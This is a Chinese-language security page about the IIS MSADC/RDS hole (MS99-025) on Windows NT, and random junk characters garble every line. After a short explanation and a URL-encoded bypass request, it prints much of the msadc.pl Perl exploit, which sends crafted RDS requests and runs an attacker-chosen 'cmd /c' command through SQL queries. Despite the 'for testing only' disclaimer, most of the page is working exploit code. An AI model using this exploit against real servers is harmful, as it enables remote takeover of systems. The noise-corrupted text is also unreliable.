IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
W$LaXytmak S6-)N(3| 涉及程序:
@k:f(c Microsoft NT server
9z7^0Ruw P\\4 w)C 描述:
2`>/y 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
&09z`*, Q!K@ 详细:
YSwAu,$jf 如果你没有时间读详细内容的话,就删除:
!Cxo4Twg c:\Program Files\Common Files\System\Msadc\msadcs.dll
1~:7W 有关的安全问题就没有了。
(\m4o
xc dy/J& 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
{[WEA^C~Q nN" Y~W^k 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
q !\Ht2$b 关于利用ODBC远程漏洞的描述,请参看:
d%_v
eVIe L4`bGZl55 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm pOP`n3m0 kG_ K &,;@ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
gX<"-,5jc http://www.microsoft.com/security/bulletins/MS99-025faq.asp N:'v^0 ?8[,0l:| 这里不再论述。
T|^rFaA jqq96hP, 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
#mg6F$E YW55iyM /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
WNSf$D{p 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
ETvn$ Jdp 9EzXf+f vmdu9"H
#将下面这段保存为txt文件,然后: "perl -x 文件名"
J'^H@L/E V5sH:A7GJ #!perl
hJY= ) #
YT\x'`>Q # MSADC/RDS 'usage' (aka exploit) script
pQ%~u3 #
hZNS$ # by rain.forest.puppy
7=C$*)x #
B:S/
?v # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
BwtjTwd # beta test and find errors!
j`jF{k b !4-B
xeNY\ use Socket; use Getopt::Std;
\GYh"5 getopts("e:vd:h:XR", \%args);
(|%YyRaX =Q|_v} print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
MmH[ 7R L rV`P)$T if (!defined $args{h} && !defined $args{R}) {
_mVq9nBEf print qq~
0'y9HE'e Usage: msadc.pl -h <host> { -d <delay> -X -v }
,E,oz {,i( -h <host> = host you want to scan (ip or domain)
eh_{- -d <seconds> = delay between calls, default 1 second
xG sg' -X = dump Index Server path table, if available
4i0~t~vDpr -v = verbose
2u 8z>/G -e = external dictionary file for step 5
_kUf[& 1SIhW:C Or a -R will resume a command session
#\9sCnb #T<<{ RA ~; exit;}
]q@/:I9] ',GWH:B $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
:SFcnYv0 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
UjLZ!-} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
uk%C:4T if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
*Y!'3|T $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
;M{@|z[Nv if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
oc.H}Eb%Z
d(PS if (!defined $args{R}){ $ret = &has_msadc;
?EP>yCR9 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
BR\3ij L=Cm0q 3v print "Please type the NT commandline you want to run (cmd /c assumed):\n"
A0{ !m . "cmd /c ";
y4* }E $in=<STDIN>; chomp $in;
3LXS}~& $command="cmd /c " . $in ;
p)l >bC?3 zK.%tx}+=k if (defined $args{R}) {&load; exit;}
[/_M!&zz2 H^y%Bi&^ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
_SU%ul &try_btcustmr;
FPj j1U`C UeNa print "\nStep 2: Trying to make our own DSN...";
SF$'$6x} &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
#wz1uw[pI! YC!Tgb~H print "\nStep 3: Trying known DSNs...";
lGHU{7j\ &known_dsn;
yt,xA;g Fy1@B(V% print "\nStep 4: Trying known .mdbs...";
(!kd9uV &known_mdb;
bvdAOvxChW pqmb&"l if (defined $args{e}){
&"!s +_ print "\nStep 5: Trying dictionary of DSN names...";
^6&?R?y &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
vY|{CBGbd f-6hcd@Ca print "Sorry Charley...maybe next time?\n";
E`vCYhf{ exit;
nNuv 0 A y ?;0w0 ##############################################################################
z'cVq}vl Glz)-hjJ:n sub sendraw { # ripped and modded from whisker
'N1_:$z@( sleep($delay); # it's a DoS on the server! At least on mine...
}yM /z my ($pstr)=@_;
:N!Fe7H, socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8@`"Zz M die("Socket problems\n");
Z^t" !oY if(connect(S,pack "SnA4x8",2,80,$target)){
H/!_D f select(S); $|=1;
$`7cs}# print $pstr; my @in=<S>;
ZJUTti D select(STDOUT); close(S);
jys1Ki return @in;
s$g"6;_\ } else { die("Can't connect...\n"); }}
h<KE)^). U)IW6)q ##############################################################################
9+'QH Y=RdxCCx4 sub make_header { # make the HTTP request
Oc\Bu6F my $msadc=<<EOT
E]zTd$v6 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
>uMj}<g#Z? User-Agent: ACTIVEDATA
n_G< /8 Host: $ip
3;fuz Kk@b Content-Length: $clen
_-^bAr`z Connection: Keep-Alive
)b<-=VR z[xi ADCClientVersion:01.06
eq^<5
f Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
_TF\y@hF*D Fa --!ADM!ROX!YOUR!WORLD!
$nR1AOm}.B Content-Type: application/x-varg
c\2+f7o@ Content-Length: $reqlen
jKFypIZ4 N}ur0 'J0 EOT
!Jh/M^ ; $msadc=~s/\n/\r\n/g;
bWc3a return $msadc;}
pqaQ% |< 63hOK ##############################################################################
z#qlu= foh>8/AL/ sub make_req { # make the RDS request
&(H;Bin' my ($switch, $p1, $p2)=@_;
f{ZOH<"Lo my $req=""; my $t1, $t2, $query, $dsn;
4;G:.k!K :?1r.n if ($switch==1){ # this is the btcustmr.mdb query
0Q@
&z $query="Select * from Customers where City=" . make_shell();
om$x;L6 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
EL_rh TWw $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
i <KWFF# <]f
ru1 elsif ($switch==2){ # this is general make table query
dB{o-R $query="create table AZZ (B int, C varchar(10))";
#$h~QBg $dsn="$p1";}
&Nf10%J'< *5( h,s3& elsif ($switch==3){ # this is general exploit table query
/mMRV:pd $query="select * from AZZ where C=" . make_shell();
N[$bP)h7 $dsn="$p1";}
5LVhq[}mP QR'yZ45n4 elsif ($switch==4){ # attempt to hork file info from index server
!<!5;f8 $query="select path from scope()";
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